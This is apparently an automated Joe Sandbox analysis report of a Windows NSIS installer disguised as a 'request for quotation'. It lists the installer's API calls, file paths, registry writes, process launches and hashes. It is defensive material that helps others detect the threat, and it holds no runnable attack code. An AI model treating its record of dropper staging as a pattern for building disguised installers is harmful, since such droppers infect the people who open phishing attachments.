String ID: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1672131642
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp, xrefs: 00401804, 00401822
C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll, xrefs: 00401818, 00401834
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00401781

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp$C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
API String ID: 1941528284-2687597418
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,0040DA52,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(0000666C,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp
API String ID: 1356686001-871014004
Opcode ID: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,771B2EE0,00405792,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00401623

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet
API String ID: 3751793516-632512459
Opcode ID: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user~1\AppData\Local\Temp\), ref: 00405BBE

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E
nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user~1\AppData\Local\Temp\$nsa
API String ID: 1716503409-3083371207
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
